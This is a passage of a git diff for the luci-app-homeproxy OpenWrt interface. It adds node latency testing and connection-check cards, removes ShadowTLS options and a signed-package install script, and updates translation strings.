target.handleNodeLatencyTest(section_id) : false; + }; + } s.rowcolors = true; s.sortable = true; s.nodescriptions = true; + s.max_cols = 7; s.modaltitle = L.bind(hp.loadModalTitle, this, _('Node'), _('Add a node'), data[0]); s.sectiontitle = L.bind(hp.loadDefaultLabel, this, data[0]); + s.node_latency_row_state = node_latency_row_state; + s.getNodeLatencyRowState = function(section_id) { + return node_latency_row_state.get(section_id); + } + s.getNodeLatencyTestMode = function() { + let mode_option = this.map.lookupOption('latency_test_mode', 'subscription')?.[0]; + let mode_value = mode_option ? mode_option.formvalue('subscription') : uci.get(data[0], 'subscription', 'latency_test_mode'); + + return normalizeNodeLatencyTestMode(mode_value); + } + s.syncNodeLatencyTestMode = function(mode) { + let normalized_mode = normalizeNodeLatencyTestMode(mode); + let saved_mode_value = uci.get(data[0], 'subscription', 'latency_test_mode'); + let saved_mode = normalizeNodeLatencyTestMode(saved_mode_value); + + if (saved_mode === normalized_mode && saved_mode_value !== 'tcp') + return Promise.resolve(normalized_mode); + + uci.set(data[0], 'subscription', 'latency_test_mode', normalized_mode); + return uci.save().then(() => normalized_mode); + } + s.setNodeLatencyRowState = function(section_id, state, result, mode) { + return node_latency_row_state.set(section_id, state, result, mode); + } + s.setNodeLatencyRowStateFromProbeResult = function(section_id, result, mode) { + return node_latency_row_state.setFromProbeResult(section_id, result, mode); + } + s.refreshNodeLatencyRow = function(section_id) { + let row_state = this.getNodeLatencyRowState(section_id); + let latency_id = 'cbi-%s-%s-_latency'.format(data[0], section_id); + let test_id = 'cbi-%s-%s-_test_latency'.format(data[0], section_id); + + let status_widget = this.map.findElement('id', latency_id); + if (status_widget) + status_widget.innerHTML = renderNodeLatencyStatus(row_state); + + let test_widget = this.map.findElement('id', test_id); + let test_button = test_widget ? test_widget.querySelector('button') : null; + if (test_button) { + test_button.textContent = getNodeLatencyActionTitle(row_state); + test_button.disabled = (row_state.state === NODE_LATENCY_ROW_STATES.TESTING) ? true : null; + } + } + + s.handleNodeLatencyTest = function(section_id) { + let mode = this.getNodeLatencyTestMode(); + this.setNodeLatencyRowState(section_id, NODE_LATENCY_ROW_STATES.TESTING, null, mode); + this.refreshNodeLatencyRow(section_id); + + return this.syncNodeLatencyTestMode(mode).then((mode) => L.resolveDefault(callNodeLatencyTest(section_id, mode), null).then((result) => { + if (result?.node === section_id) + this.setNodeLatencyRowStateFromProbeResult(section_id, result, mode); + else + this.setNodeLatencyRowState(section_id, NODE_LATENCY_ROW_STATES.ERROR, { + mode: mode, + error: { + code: 'invalid_response', + message: 'unexpected node latency response' + } + }, mode); + })).catch((err) => { + this.setNodeLatencyRowState(section_id, NODE_LATENCY_ROW_STATES.ERROR, { + mode: mode, + error: { + code: 'rpc_failed', + message: String(err) + } + }, mode); + }).then(() => { + this.refreshNodeLatencyRow(section_id); + }); + } if (routing_mode !== 'custom') { o = s.option(form.Button, '_apply', _('Apply')); @@ -514,6 +992,41 @@ function renderNodeSettings(section, data, features, main_node, routing_mode) { } } + o = s.option(form.DummyValue, '_latency', _('Latency')); + o.rawhtml = true; + o.modalonly = false; + o.textvalue = function(section_id) { + return E('span', { 'id': 'cbi-%s-%s-_latency'.format(data[0], section_id) }, [ + renderNodeLatencyStatusNode(this.section.getNodeLatencyRowState(section_id)) + ]); + } + + o = s.option(form.Button, '_test_latency', _('Test')); + o.editable = true; + o.modalonly = false; + o.inputstyle = 'action'; + o.inputtitle = function(section_id) { + return getNodeLatencyActionTitle(this.section.getNodeLatencyRowState(section_id)); + } + o.renderWidget = function(section_id, _option_index, cfgvalue) { + let hiddenEl = new ui.Hiddenfield((cfgvalue != null) ? cfgvalue : '', { + id: this.cbid(section_id) + }); + let outputEl = E('output', { 'for': this.cbid(section_id) }); + let row_state = s.getNodeLatencyRowState(section_id); + + if (typeof globalThis !== 'undefined' && globalThis.__hpNodeLatencySections) + globalThis.__hpNodeLatencySections[section_id] = s; + + outputEl.appendChild(E('button', { + 'class': 'cbi-button cbi-button-action', + 'onclick': 'return globalThis.__hpNodeLatencyTrigger(%s);'.format(JSON.stringify(section_id)), + 'disabled': (row_state.state === NODE_LATENCY_ROW_STATES.TESTING) ? true : null + }, [ getNodeLatencyActionTitle(row_state) ])); + + return E([ outputEl, hiddenEl.render() ]); + } + o = s.option(form.Value, 'label', _('Label')); o.load = L.bind(hp.loadDefaultLabel, this, data[0]); o.validate = L.bind(hp.validateUniqueValue, this, data[0], 'node', 'label'); @@ -538,6 +1051,7 @@ function renderNodeSettings(section, data, features, main_node, routing_mode) { o.value('wireguard', _('WireGuard')); o.value('vless', _('VLESS')); o.value('vmess', _('VMess')); + o.default = 'direct'; o.rmempty = false; o = s.option(form.Value, 'address', _('Address')); @@ -550,27 +1064,6 @@ function renderNodeSettings(section, data, features, main_node, routing_mode) { o.depends({'type': 'direct', '!reverse': true}); o.rmempty = false; - o = s.option(form.DummyValue, '_tcping_delay', '延迟'); - o.editable = true; - o.rmempty = true; - o.renderWidget = function(section_id) { - hpTcping.ensureStyle(); - return E('span', { - id: hpTcping.nodeId(section_id), - class: 'homeproxy-node-tcping homeproxy-latency-pill', - role: 'button', - tabindex: '0', - title: '点击测速', - click: (ev) => hpTcping.runNode(section_id, ev), - keydown: (ev) => { - if (ev.key === 'Enter' || ev.key === ' ') { - ev.preventDefault(); - return hpTcping.runNode(section_id, ev); - } - } - }, '-'); - } - o = s.option(form.Value, 'username', _('Username')); o.depends('type', 'http'); o.depends('type', 'socks'); @@ -609,15 +1102,6 @@ function renderNodeSettings(section, data, features, main_node, routing_mode) { } o.modalonly = true; - /* Direct config */ - o = s.option(form.ListValue, 'proxy_protocol', _('Proxy protocol'), - _('Write proxy protocol in the connection header.')); - o.value('', _('Disable')); - o.value('1', _('v1')); - o.value('2', _('v2')); - o.depends('type', 'direct'); - o.modalonly = true; - /* AnyTLS config start */ o = s.option(form.Value, 'anytls_idle_session_check_interval', _('Idle session check interval'), _('Interval checking for idle sessions, in seconds.')); @@ -754,69 +1238,6 @@ function renderNodeSettings(section, data, features, main_node, routing_mode) { o.depends('shadowsocks_plugin', 'obfs-local'); o.depends('shadowsocks_plugin', 'v2ray-plugin'); o.modalonly = true; - - o = s.option(form.Flag, 'shadowtls_enabled', _('Enable ShadowTLS')); - o.depends('type', 'shadowsocks'); - o.rmempty = false; - o.load = function(section_id) { - let enabled = uci.get(data[0], section_id, 'shadowtls_enabled'); - if (enabled != null) - return enabled; - - return uci.get(data[0], section_id, 'shadowtls_address') ? '1' : '0'; - } - o.modalonly = true; - - o = s.option(form.Value, 'shadowtls_address', _('ShadowTLS address')); - o.datatype = 'host'; - o.depends({'type': 'shadowsocks', 'shadowtls_enabled': '1'}); - o.validate = function(section_id, value) { - if (section_id) { - let type = this.section.formvalue(section_id, 'type'); - let enabled = this.section.formvalue(section_id, 'shadowtls_enabled'); - if (type === 'shadowsocks' && enabled === '1' && !value) - return _('Cannot be empty'); - } - - return true; - } - o.modalonly = true; - - o = s.option(form.Value, 'shadowtls_port', _('ShadowTLS port')); - o.datatype = 'port'; - o.placeholder = '443'; - o.depends({'type': 'shadowsocks', 'shadowtls_enabled': '1'}); - o.validate = function(section_id, value) { - if (section_id) { - let type = this.section.formvalue(section_id, 'type'); - let enabled = this.section.formvalue(section_id, 'shadowtls_enabled'); - if (type === 'shadowsocks' && enabled === '1' && !value) - return _('Cannot be empty'); - } - - return true; - } - o.modalonly = true; - - o = s.option(form.Value, 'shadowtls_password', _('ShadowTLS password')); - o.password = true; - o.depends({'type': 'shadowsocks', 'shadowtls_enabled': '1'}); - o.validate = function(section_id, value) { - if (section_id) { - let type = this.section.formvalue(section_id, 'type'); - let enabled = this.section.formvalue(section_id, 'shadowtls_enabled'); - if (type === 'shadowsocks' && enabled === '1' && !value) - return _('Cannot be empty'); - } - - return true; - } - o.modalonly = true; - - o = s.option(form.Value, 'shadowtls_sni', _('ShadowTLS masquerade SNI')); - o.datatype = 'hostname'; - o.depends({'type': 'shadowsocks', 'shadowtls_enabled': '1'}); - o.modalonly = true; /* Shadowsocks config end */ /* ShadowTLS config */ @@ -826,7 +1247,6 @@ function renderNodeSettings(section, data, features, main_node, routing_mode) { o.value('3', _('v3')); o.default = '1'; o.depends('type', 'shadowtls'); - o.depends({'type': 'shadowsocks', 'shadowtls_enabled': '1'}); o.rmempty = false; o.modalonly = true; @@ -926,7 +1346,7 @@ function renderNodeSettings(section, data, features, main_node, routing_mode) { o.modalonly = true; o = s.option(form.ListValue, 'vmess_encrypt', _('Encrypt method')); - o.value('auto'); + o.value('auto', _('Default')); o.value('none'); o.value('zero'); o.value('aes-128-gcm'); @@ -1369,68 +1789,23 @@ return view.extend({ load() { return Promise.all([ uci.load('homeproxy'), - hp.getBuiltinFeatures(), - hpDiagnostics.load() + hp.getBuiltinFeatures() ]); }, render(data) { - let m, s, o, ss, so; + let m, s, o, ss, so, subscription_list_option; let main_node = uci.get(data[0], 'config', 'main_node'); let routing_mode = uci.get(data[0], 'config', 'routing_mode'); let features = data[1]; - hpDiagnostics.show(data[2]); + let node_latency_row_state = createNodeLatencyRowStateModel(); + + hp.installCloseButtonText(); + + this.node_latency_row_state = node_latency_row_state; /* Cache subscription information, it will be called multiple times */ - let subinfo = []; - for (let suburl of (uci.get(data[0], 'subscription', 'subscription_url') || [])) { - const url = new URL(suburl); - const urlhash = hp.calcStringMD5(suburl.replace(/#.*$/, '')); - const title = url.hash ? decodeURIComponent(url.hash.slice(1)) : url.hostname; - subinfo.push({ 'hash': urlhash, 'title': title }); - } - - let isSubscriptionGrouphash = function(grouphash) { - for (let info of subinfo) - if (info.hash === grouphash) - return true; - - return false; - }; - - let collectNodeSections = function(grouphash) { - let sections = []; - - uci.sections(data[0], 'node', (res) => { - if (grouphash ? res.grouphash === grouphash : !isSubscriptionGrouphash(res.grouphash)) - sections.push(res['.name']); - }); - - return sections; - }; - - let addTcpingButton = function(tab, option, grouphash) { - o = s.taboption(tab, form.DummyValue, option, ''); - o.rawhtml = true; - o.renderWidget = function() { - hpTcping.ensureStyle(); - return E('div', { - 'class': 'homeproxy-tcping-toolbar', - 'style': 'display:flex; align-items:center; gap:.75em; flex-wrap:wrap;' - }, [ - E('button', { - 'class': 'cbi-button cbi-button-action homeproxy-tcping-button', - 'title': '测速', - 'type': 'button', - 'click': (ev) => hpTcping.runNodes(collectNodeSections(grouphash), ev) - }, [ hpTcping.renderIcon('homeproxy-tcping-icon') ]), - E('span', { - 'class': 'homeproxy-tcping-help', - 'style': 'color:var(--text-color-medium, #777); line-height:1.4;' - }, hpTcping.helpText) - ]); - }; - }; + let subinfo = getSubscriptionInfo(data[0]); m = new form.Map('homeproxy', _('Edit nodes')); @@ -1439,18 +1814,9 @@ return view.extend({ /* Node settings start */ /* User nodes start */ s.tab('node', _('Nodes')); - addTcpingButton('node', '_tcping_node'); o = s.taboption('node', form.SectionValue, '_node', form.GridSection, 'node'); - ss = renderNodeSettings(o.subsection, data, features, main_node, routing_mode); + ss = renderNodeSettings(o.subsection, data, features, main_node, routing_mode, node_latency_row_state); ss.addremove = true; - ss.handleRemove = function(section_id, ev) { - return showNodeReferenceNotice(section_id).then((blocked) => { - if (blocked) - return Promise.resolve(); - - return form.GridSection.prototype.handleRemove.apply(this, [ section_id, ev ]); - }); - }; ss.filter = function(section_id) { for (let info of subinfo) if (info.hash === uci.get(data[0], section_id, 'grouphash')) @@ -1520,24 +1886,7 @@ return view.extend({ ]) } ss.renderSectionAdd = function(/* ... */) { - let el = form.GridSection.prototype.renderSectionAdd.apply(this, arguments), - nameEl = el.querySelector('.cbi-section-create-name'); - - ui.addValidator(nameEl, 'uciname', true, (v) => { - let button = el.querySelector('.cbi-section-create > .cbi-button-add'); - let uciconfig = this.uciconfig || this.map.config; - - if (!v) { - button.disabled = true; - return true; - } else if (uci.get(uciconfig, v)) { - button.disabled = true; - return _('Expecting: %s').format(_('unique UCI identifier')); - } else { - button.disabled = null; - return true; - } - }, 'blur', 'keyup'); + let el = hp.renderSectionAdd(this, arguments[0]); el.appendChild(E('button', { 'class': 'cbi-button cbi-button-add', @@ -1552,10 +1901,9 @@ return view.extend({ /* Subscription nodes start */ for (const info of subinfo) { - s.tab('sub_' + info.hash, _('Sub (%s)').format(info.title)); - addTcpingButton('sub_' + info.hash, '_tcping_' + info.hash, info.hash); + s.tab('sub_' + info.hash, info.title ? _('Sub (%s)').format(info.title) : _('Sub')); o = s.taboption('sub_' + info.hash, form.SectionValue, '_sub_' + info.hash, form.GridSection, 'node'); - ss = renderNodeSettings(o.subsection, data, features, main_node, routing_mode); + ss = renderNodeSettings(o.subsection, data, features, main_node, routing_mode, node_latency_row_state); ss.filter = function(section_id) { return (uci.get(data[0], section_id, 'grouphash') === info.hash); } @@ -1570,32 +1918,35 @@ return view.extend({ _('Auto update subscriptions and geodata.')); o.rmempty = false; - o = s.taboption('subscription', form.ListValue, 'auto_update_time', _('Update time')); - for (let i = 0; i < 24; i++) - o.value(i, i + ':00'); - o.default = '2'; - o.depends('auto_update', '1'); + o = s.taboption('subscription', form.Value, 'auto_update_time', _('Update time (weekly)')); + o.renderWidget = function() { + return hp.renderCronSelector.apply(this, arguments); + }; + o.default = '0 0 * * *'; + o.rmempty = false; + o.validate = function(section_id, value) { + value = value || this.formvalue(section_id); + const matched = String(value || '').trim().match(/^(\d{1,2})\s+(\d{1,2})\s+\*\s+\*\s+([0-7*])$/); + if (!matched || +matched[1] > 59 || +matched[2] > 23) + return _('Expecting: %s').format(_('valid cron expression')); + + return true; + }; o = s.taboption('subscription', form.Flag, 'update_via_proxy', _('Update via proxy'), _('Update subscriptions via proxy.')); o.rmempty = false; - o = s.taboption('subscription', form.DynamicList, 'subscription_url', _('Subscription URL-s'), - _('Support Hysteria, Shadowsocks, Trojan, v2rayN (VMess), and XTLS (VLESS) online configuration delivery standard.')); - o.validate = function(section_id, value) { - if (section_id && value) { - try { - let url = new URL(value); - if (!url.hostname) - return _('Expecting: %s').format(_('valid URL')); - } - catch(e) { - return _('Expecting: %s').format(_('valid URL')); - } - } + o = s.taboption('subscription', form.ListValue, 'latency_test_mode', _('Latency test mode'), + _('Choose which method node latency tests use.')); + o.value('icmp', _('ICMP')); + o.value('rp', _('RP')); + o.default = 'icmp'; + o.rmempty = false; - return true; - } + o = s.taboption('subscription', SubscriptionList, 'subscription_url', _('Subscriptions'), + _('Support Hysteria, Shadowsocks, Trojan, v2rayN (VMess), and XTLS (VLESS) online configuration delivery standard.')); + subscription_list_option = o; o = s.taboption('subscription', form.ListValue, 'filter_nodes', _('Filter nodes'), _('Drop/keep specific nodes from subscriptions.')); @@ -1620,11 +1971,6 @@ return view.extend({ o.rmempty = false; o.onchange = allowInsecureConfirm; - o = s.taboption('subscription', form.Flag, 'allow_unsupported_tls_pin_fallback', _('Allow unsupported certificate pin fallback'), - _('When a subscription node uses a server certificate fingerprint but the current sing-box version cannot express it, skip the node by default. Enable this only if you explicitly accept falling back to TLS insecure mode for compatibility.')); - o.rmempty = false; - o.onchange = allowInsecureConfirm; - o = s.taboption('subscription', form.ListValue, 'packet_encoding', _('Default packet encoding')); o.value('', _('none')); o.value('packetaddr', _('packet addr (v2ray-core v5+)')); @@ -1635,8 +1981,16 @@ return view.extend({ o.inputstyle = 'apply'; o.inputtitle = _('Save current settings'); o.onclick = function() { + const validation = subscription_list_option.validate('subscription', subscription_list_option.formvalue('subscription')); + if (validation !== true) { + ui.addNotification(null, E('p', validation)); + return Promise.resolve(); + } + return this.map.save(null, true).then(() => { - ui.changes.apply(true); + return ui.changes.apply(true); + }).then(() => { + return callRCInit('homeproxy', 'reload'); }); } @@ -1652,35 +2006,10 @@ return view.extend({ } } o.onclick = function() { - ui.showModal(_('Updating subscriptions...'), [ - E('p', _('Subscription update is running. The page will refresh automatically when it finishes.')) - ]); - - return callUpdateSubscriptions().catch((err) => { - return { - result: false, - error: subscriptionRpcErrorMessage(err, _('An error occurred while updating subscriptions.')) - }; - }).then((res) => { - if (!res.result) { - ui.hideModal(); - ui.addNotification(null, E('p', res.error || _('An error occurred while updating subscriptions.')), 'warning'); - return this.map.reset(); - } - - return pollSubscriptionUpdateStatus(0).then((status) => { - ui.hideModal(); - - if (!status.update_result) { - ui.addNotification(null, E('p', status.error || _('An error occurred while updating subscriptions.')), 'warning'); - return this.map.reset(); - } - - return location.reload(); - }); + return fs.exec_direct('/etc/homeproxy/scripts/update_subscriptions.uc').then((res) => { + return location.reload(); }).catch((err) => { - ui.hideModal(); - ui.addNotification(null, E('p', subscriptionRpcErrorMessage(err, _('An error occurred while updating subscriptions.'))), 'warning'); + ui.addNotification(null, E('p', _('An error occurred during updating subscriptions: %s').format(err))); return this.map.reset(); }); } @@ -1708,20 +2037,84 @@ return view.extend({ subnodes = subnodes.concat(res['.name']) }); - return L.resolveDefault(callRemoveSubscriptionNodes(subnodes), { result: false, error: _('Unknown error.') }).then((res) => { - if (!res.result) - throw new Error(res.error || _('Unknown error.')); + for (let i in subnodes) + uci.remove(data[0], subnodes[i]); - this.inputtitle = _('%s nodes removed').format(res.removed || 0); - this.readonly = true; - return location.reload(); - }).catch((err) => { - ui.addNotification(null, E('p', _('An error occurred during removing subscription nodes: %s').format(err.message || err))); - return this.map.reset(); - }); + if (subnodes.includes(uci.get(data[0], 'config', 'main_node'))) + uci.set(data[0], 'config', 'main_node', 'nil'); + + if (subnodes.includes(uci.get(data[0], 'config', 'main_udp_node'))) + uci.set(data[0], 'config', 'main_udp_node', 'nil'); + + this.inputtitle = _('%s nodes removed').format(subnodes.length); + this.readonly = true; + + return this.map.save(null, true); } /* Subscriptions settings end */ - return m.render(); + return m.render().then((el) => { + let bulk_testing = false; + let tabmenu_observer = null; + let bulk_button = E('button', { + 'class': 'cbi-button cbi-button-action hp-bulk-latency-test', + 'click': ui.createHandlerFn(this, async () => { + if (bulk_testing || typeof globalThis === 'undefined' || !globalThis.__hpNodeLatencyTrigger) + return false; + + let section_ids = getActiveSubscriptionLatencySectionIds(el); + if (!section_ids.length) + return false; + + bulk_testing = true; + bulk_button.textContent = _('Testing Current List...'); + bulk_button.disabled = true; + + for (let sid of section_ids) + await globalThis.__hpNodeLatencyTrigger(sid); + + bulk_testing = false; + bulk_button.textContent = _('Test Current List'); + bulk_button.disabled = false; + return true; + }) + }, [ _('Test Current List') ]); + + let updateBulkButtonVisibility = () => { + bulk_button.style.display = shouldShowBulkLatencyButton(el) ? '' : 'none'; + }; + + let attachBulkButton = () => { + let actions = (el.parentElement ? el.parentElement.querySelector('.cbi-page-actions') : null) || document.querySelector('.cbi-page-actions'); + if (!actions) + return false; + + if (!actions.querySelector('.hp-bulk-latency-test')) + actions.insertBefore(bulk_button, actions.firstChild); + + updateBulkButtonVisibility(); + + if (!tabmenu_observer) { + let tabmenu = el.querySelector('.cbi-tabmenu'); + if (tabmenu) { + tabmenu_observer = new MutationObserver(() => updateBulkButtonVisibility()); + tabmenu_observer.observe(tabmenu, { + subtree: true, + attributes: true, + attributeFilter: [ 'class', 'aria-selected' ] + }); + } + } + + return true; + }; + + if (!attachBulkButton()) { + window.setTimeout(attachBulkButton, 0); + window.setTimeout(attachBulkButton, 300); + } + + return el; + }); } }); diff --git a/luci-app-homeproxy/htdocs/luci-static/resources/view/homeproxy/server.js b/luci-app-homeproxy/htdocs/luci-static/resources/view/homeproxy/server.js index bc31014a9..e807ee579 100644 --- a/luci-app-homeproxy/htdocs/luci-static/resources/view/homeproxy/server.js +++ b/luci-app-homeproxy/htdocs/luci-static/resources/view/homeproxy/server.js @@ -126,6 +126,8 @@ return view.extend({ let m, s, o; let features = data[1]; + hp.installCloseButtonText(); + m = new form.Map('homeproxy', _('HomeProxy Server'), _('The modern ImmortalWrt proxy platform for ARM64/AMD64.')); @@ -188,6 +190,7 @@ return view.extend({ o.value('tuic', _('Tuic')); o.value('vless', _('VLESS')); o.value('vmess', _('VMess')); + o.default = 'mixed'; o.rmempty = false; o = s.option(form.Value, 'address', _('Listen address')); @@ -637,10 +640,10 @@ return view.extend({ o.modalonly = true; o = s.option(form.ListValue, 'tls_dns01_provider', _('DNS provider')); - o.value('alidns', _('Alibaba Cloud DNS')); - o.value('cloudflare', _('Cloudflare')); + o.value('alidns', _('AliYun')); + o.value('cfdns', _('CloudFlare')); o.depends('tls_dns01_challenge', '1'); - o.default = 'cloudflare'; + o.default = 'cfdns'; o.rmempty = false; o.modalonly = true; @@ -663,7 +666,7 @@ return view.extend({ o = s.option(form.Value, 'tls_dns01_cf_api_token', _('API token')); o.password = true; - o.depends('tls_dns01_provider', 'cloudflare'); + o.depends('tls_dns01_provider', 'cfdns'); o.rmempty = false; o.modalonly = true; diff --git a/luci-app-homeproxy/htdocs/luci-static/resources/view/homeproxy/status.js b/luci-app-homeproxy/htdocs/luci-static/resources/view/homeproxy/status.js index f8a617000..3f2e801ca 100644 --- a/luci-app-homeproxy/htdocs/luci-static/resources/view/homeproxy/status.js +++ b/luci-app-homeproxy/htdocs/luci-static/resources/view/homeproxy/status.js @@ -14,6 +14,8 @@ 'require ui'; 'require view'; +'require homeproxy as hp'; + /* Thanks to luci-app-aria2 */ const css = ' \ #log_textarea { \ @@ -27,6 +29,53 @@ const css = ' \ } \ .description { \ background-color: #33ccff; \ +} \ +.homeproxy-connect-grid { \ + display: grid; \ + grid-template-columns: repeat(auto-fit, minmax(210px, 1fr));\ + gap: 12px; \ +} \ +.homeproxy-connect-card { \ + display: grid; \ + grid-template-columns: 44px 1fr; \ + gap: 10px; \ + align-items: center; \ + min-height: 64px; \ + padding: 8px 10px; \ + border-radius: 6px; \ + background: #fff; \ + box-shadow: 0 1px 4px rgba(0, 0, 0, .08);\ +} \ +.homeproxy-connect-icon { \ + display: flex; \ + align-items: center; \ + justify-content: center; \ + width: 38px; \ + height: 38px; \ + border-radius: 50%; \ + color: #fff; \ + font-weight: 700; \ + font-size: 15px; \ +} \ +.homeproxy-connect-info { \ + min-height: 42px; \ + padding: 7px 12px; \ + border-radius: 8px; \ + background: #e9edf2; \ +} \ +.homeproxy-connect-title { \ + color: #7d8aa0; \ + font-weight: 700; \ + font-size: 13px; \ + line-height: 1.2; \ +} \ +.homeproxy-connect-result { \ + margin-top: 2px; \ + color: #ff4d35; \ + font-weight: 700; \ + font-size: 13px; \ + cursor: pointer; \ + line-height: 1.2; \ }'; const hp_dir = '/var/run/homeproxy'; @@ -44,13 +93,13 @@ function getConnStat(o, site) { 'class': 'btn cbi-button cbi-button-action', 'click': ui.createHandlerFn(this, () => { return L.resolveDefault(callConnStat(site), {}).then((ret) => { - let ele = o.default.firstElementChild.nextElementSibling; + let ele = o.default.firstElementChild.nextElementSibling; if (ret.result) { ele.style.setProperty('color', 'green'); - ele.innerHTML = _('passed'); + ele.innerHTML = _('passed'); } else { ele.style.setProperty('color', 'red'); - ele.innerHTML = _('failed'); + ele.innerHTML = _('failed'); } }); }) @@ -60,6 +109,53 @@ function getConnStat(o, site) { ]); } +function renderConnCards() { + const callConnStat = rpc.declare({ + object: 'luci.homeproxy', + method: 'connection_check', + params: ['site'], + expect: { '': {} } + }); + + const items = [ + { site: 'baidu', title: _('Baidu Connection'), icon: 'B', color: '#ff7a00' }, + { site: 'google', title: _('Google Connection'), icon: 'G', color: '#4285f4' }, + { site: 'github', title: _('GitHub Connection'), icon: 'GH', color: '#7b3bb3' }, + { site: 'youtube', title: _('YouTube Connection'), icon: 'YT', color: '#ff0033' } + ]; + + return E('div', { 'class': 'homeproxy-connect-grid' }, items.map((item) => { + let result = E('div', { + 'class': 'homeproxy-connect-result', + 'click': ui.createHandlerFn(this, () => { + result.textContent = _('Checking...'); + result.style.setProperty('color', '#f0ad4e'); + + return L.resolveDefault(callConnStat(item.site), {}).then((ret) => { + if (ret.result && ret.latency != null) { + result.style.setProperty('color', 'green'); + result.textContent = _('%s ms').format(ret.latency); + } else { + result.style.setProperty('color', '#ff4d35'); + result.textContent = _('failed'); + } + }); + }) + }, [ _('Click to check') ]); + + return E('div', { 'class': 'homeproxy-connect-card' }, [ + E('div', { + 'class': 'homeproxy-connect-icon', + 'style': 'background:%s'.format(item.color) + }, [ item.icon ]), + E('div', { 'class': 'homeproxy-connect-info' }, [ + E('div', { 'class': 'homeproxy-connect-title' }, [ item.title ]), + result + ]) + ]); + })); +} + function getResVersion(o, type) { const callResVersion = rpc.declare({ object: 'luci.homeproxy', @@ -227,16 +323,16 @@ return view.extend({ render() { let m, s, o; + hp.installCloseButtonText(); + m = new form.Map('homeproxy'); s = m.section(form.NamedSection, 'config', 'homeproxy', _('Connection check')); s.anonymous = true; - o = s.option(form.DummyValue, '_check_baidu', _('BaiDu')); - o.cfgvalue = L.bind(getConnStat, this, o, 'baidu'); - - o = s.option(form.DummyValue, '_check_google', _('Google')); - o.cfgvalue = L.bind(getConnStat, this, o, 'google'); + o = s.option(form.DummyValue, '_connection_check'); + o.rawhtml = true; + o.render = renderConnCards; s = m.section(form.NamedSection, 'config', 'homeproxy', _('Resources management')); s.anonymous = true; diff --git a/luci-app-homeproxy/install.sh b/luci-app-homeproxy/install.sh deleted file mode 100755 index 1094eebf9..000000000 --- a/luci-app-homeproxy/install.sh +++ /dev/null @@ -1,92 +0,0 @@ -#!/bin/sh - -set -eu - -REPO="itv3/homeproxy" -PKG_NAME="homeproxy-custom" -ASSET="homeproxy-custom_all.apk" -TMP_APK="/tmp/$ASSET" -URL="https://github.com/$REPO/releases/latest/download/$ASSET" -KEY_NAME="homeproxy-custom.pem" -KEY_URL="https://github.com/$REPO/releases/latest/download/$KEY_NAME" -KEY_FINGERPRINT="sha256:88cc3293f56077364a252a059c259bcf028f647e9e9f4cf5a30dca678c2e5b47" -REPO_LIST="/etc/apk/repositories.d/homeproxy-custom.list" -REPO_INDEX_URL="https://github.com/$REPO/releases/latest/download/Packages.adb" - -trap 'rm -f "$TMP_APK"' EXIT - -echo "HomeProxy Custom installer" - -if [ ! -x /usr/bin/apk ]; then - echo "error: this installer currently supports apk-based OpenWrt/ImmortalWrt only" - exit 1 -fi - -if [ ! -x /usr/bin/wget ] && [ ! -x /bin/wget ]; then - echo "error: wget is required" - exit 1 -fi - -mkdir -p /etc/apk/keys /etc/apk/repositories.d - -echo "install repository key" -wget -O "/etc/apk/keys/$KEY_NAME" "$KEY_URL" || exit 1 - -if [ -n "$KEY_FINGERPRINT" ]; then - echo "verify public key fingerprint" - actual_fp=$(sha256sum "/etc/apk/keys/$KEY_NAME" | awk '{print $1}') - expected_fp="${KEY_FINGERPRINT#sha256:}" - if [ "$actual_fp" != "$expected_fp" ]; then - echo "error: public key fingerprint mismatch" >&2 - echo "expected: $expected_fp" >&2 - echo "actual: $actual_fp" >&2 - rm -f "/etc/apk/keys/$KEY_NAME" - exit 1 - fi - echo "public key fingerprint verified" -fi - -echo "configure repository" -printf '%s\n' "$REPO_INDEX_URL" > "$REPO_LIST" - -echo "remove standalone translation package if installed" -apk del luci-i18n-homeproxy-zh-cn 2>/dev/null || true - -install_direct_apk() { - echo "download: $URL" - wget -O "$TMP_APK" "$URL" || return 1 - - echo "verify APK signature" - if apk verify --keys-dir /etc/apk/keys "$TMP_APK" 2>&1; then - echo "APK signature verified" - else - echo "error: APK signature verification failed" >&2 - rm -f "$TMP_APK" - return 1 - fi - - echo "install package" - apk add --upgrade "$TMP_APK" -} - -echo "update package index" -if apk update && apk add --upgrade "$PKG_NAME"; then - echo "installed from repository" -else - echo "warning: repository install failed, falling back to direct APK install" >&2 - install_direct_apk -fi - -echo "clean .apk-new files" -find /etc/homeproxy /etc/config -name "*.apk-new" -exec rm -f {} \; 2>/dev/null || true - -echo "restart services" -rm -f /tmp/luci-indexcache.* 2>/dev/null || true -rm -rf /tmp/luci-modulecache/ 2>/dev/null || true -/etc/init.d/rpcd restart 2>/dev/null || true -/etc/init.d/uhttpd restart 2>/dev/null || true -/etc/init.d/homeproxy restart 2>/dev/null || true - -echo "installed:" -apk list -I | grep -E '^(homeproxy-custom|luci-app-homeproxy)' || true -echo "success" diff --git a/luci-app-homeproxy/po/templates/homeproxy.pot b/luci-app-homeproxy/po/templates/homeproxy.pot index 86156cfaf..daea34056 100644 --- a/luci-app-homeproxy/po/templates/homeproxy.pot +++ b/luci-app-homeproxy/po/templates/homeproxy.pot @@ -1,31 +1,39 @@ msgid "" msgstr "Content-Type: text/plain; charset=UTF-8" +#: htdocs/luci-static/resources/homeproxy.js:321 +msgid "Close" +msgstr "" + #: htdocs/luci-static/resources/view/homeproxy/status.js:206 msgid "%s log" msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/node.js:1715 +#: htdocs/luci-static/resources/view/homeproxy/node.js:500 +msgid "%s ms" +msgstr "" + +#: htdocs/luci-static/resources/view/homeproxy/node.js:1896 msgid "%s nodes removed" msgstr "" -#: htdocs/luci-static/resources/homeproxy.js:320 +#: htdocs/luci-static/resources/homeproxy.js:279 msgid "/etc/homeproxy/certs/..., /etc/acme/..., /etc/ssl/..." msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/client.js:821 +#: htdocs/luci-static/resources/view/homeproxy/client.js:632 msgid "4 or 6. Not limited if empty." msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/client.js:985 -#: htdocs/luci-static/resources/view/homeproxy/client.js:1421 +#: htdocs/luci-static/resources/view/homeproxy/client.js:798 +#: htdocs/luci-static/resources/view/homeproxy/client.js:1233 msgid "" "%s will be temporarily overwritten to %s after 50 " "triggers in 30s if not enabled." msgstr "" -#: htdocs/luci-static/resources/view/homeproxy/node.js:1266 -#: htdocs/luci-static/resources/view/homeproxy/node.js:1285 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1516 +#: htdocs/luci-static/resources/view/homeproxy/node.js:1535 #: htdocs/luci-static/resources/view/homeproxy/server.js:768 #: 